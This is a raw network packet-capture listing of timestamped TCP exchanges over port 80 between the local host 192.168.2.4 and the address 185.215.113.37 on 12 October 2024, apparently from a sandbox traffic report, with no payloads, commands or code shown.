Oct 12, 2024 13:17:23.368458033 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.368474960 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.368498087 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.368509054 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.368541002 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.368552923 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.368552923 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.368573904 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.368602991 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.368721962 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.402987957 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.403039932 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.403075933 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.403095961 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.403095961 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.403110981 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.403134108 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.403146982 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.403182030 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.403194904 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.403196096 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.403217077 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.403250933 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.403265953 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.403285027 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.403290033 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.403318882 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.403342962 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.403343916 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.403354883 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.403400898 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.403419971 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.403438091 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.403454065 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.403490067 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.403501034 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.403501034 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.403546095 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.429876089 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.429914951 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.429930925 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.429948092 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.429958105 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.429958105 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.429982901 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.430010080 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.430011988 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.430012941 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.430037022 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.430052042 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.430067062 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.430067062 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.430067062 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.430083036 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.430087090 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.430099010 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.430114985 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.430130005 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.430139065 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.430139065 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.430146933 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.430162907 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.430179119 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.430195093 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.430205107 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.430205107 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.430212021 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.430238962 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.430319071 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.443301916 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.443370104 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.443402052 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.443419933 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.443559885 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.443559885 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.443568945 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.443586111 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.443614960 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.443639040 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.443644047 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.443644047 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.443658113 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.443670988 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.443675995 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.443691969 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.443696976 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.443708897 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.443725109 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.443762064 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.443762064 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.443790913 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.443815947 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.443830967 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.443847895 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.443862915 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.443875074 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.443875074 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.443881035 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.443897009 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.443912029 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.443926096 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.443932056 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.443932056 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.443943024 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.443958998 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.443984032 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.443984985 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.443984985 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.444000006 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.444015980 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.444031000 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.444044113 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.444044113 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.444046974 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.444063902 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.444078922 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.444092989 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.444092989 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.444108963 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.444124937 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.444139957 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.444154978 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.444154978 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.444168091 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.444188118 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.444195986 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.444211006 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.444211960 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.444228888 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.444245100 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.444259882 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.444273949 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.444273949 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.444273949 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.444291115 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.444309950 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.444323063 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.444324017 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.444349051 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.444504023 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.444519997 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.444534063 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.444555998 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.444559097 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.444574118 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.444590092 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.444605112 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.444629908 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.444636106 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.444636106 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.444655895 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.444726944 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.461654902 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.461677074 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.461704969 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.461713076 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.461724043 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.461741924 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.461759090 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.461765051 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.461765051 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.461785078 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.461802959 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.461818933 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.461836100 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.461848974 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.461848974 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.461849928 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.461865902 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.461882114 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.461896896 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.461911917 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.461926937 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.461926937 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.461935043 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.461946011 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.461951017 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.461966991 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.462016106 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.462016106 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.462073088 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.462122917 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.462291002 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.462307930 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.462322950 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.462348938 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.462443113 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.462461948 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.462471008 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.462485075 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.462495089 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.462500095 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.462516069 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.462531090 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.462544918 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.462544918 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.462546110 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.462562084 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.462577105 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.462584019 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.462594032 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.462610006 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.462624073 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.462629080 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.462629080 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.462641954 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.462649107 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.462658882 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.462675095 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.462690115 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.462711096 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.462722063 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.462722063 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.462754965 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.462800026 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.497313976 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.497359037 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.497402906 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.497402906 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.497414112 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.497451067 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.497483969 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.497500896 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.497500896 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.497518063 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.497534990 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.497551918 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.497586966 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.497596979 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.497596979 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.497709036 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.524245024 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.524276018 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.524310112 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.524333000 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.524333000 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.524368048 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.524368048 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.524418116 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.524424076 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.524452925 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.524486065 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.524501085 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.524501085 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.524521112 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.524554014 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.524565935 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.524565935 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.524588108 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.524616957 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.524637938 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.524637938 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.524651051 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.524696112 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.524697065 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.524703026 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.524736881 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.524770021 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.524784088 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.524784088 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.524815083 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.524825096 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.524874926 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.524898052 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.524910927 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.524945974 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.524962902 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.524966955 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.524996996 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.525037050 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.525053978 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.525053978 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.525068998 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.525110006 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.525110006 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.525121927 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.525172949 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.525207043 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.525233984 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.525233984 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.525238991 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.525293112 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.525296926 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.525296926 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.525325060 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.525372028 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.525372028 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.525377035 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.525409937 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.525435925 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.525444031 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.525460958 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.525496960 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.525504112 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.525547981 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.525578976 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.525599957 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.525634050 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.525646925 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.525646925 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.525669098 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.525702953 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.525715113 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.525715113 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.525736094 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.525748014 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.525774956 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.525784016 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.525809050 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.525841951 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.525851965 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.525851965 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.525873899 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.525907040 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.525916100 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.525916100 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.525939941 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.525973082 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.525983095 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.525983095 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.526005983 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.526026011 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.526040077 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.526056051 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.526072979 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.526106119 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.526115894 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.526115894 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.526139021 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.526177883 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.526187897 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.526187897 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.526211023 CEST	80	49730	185.215.113.37	192.168.2.4
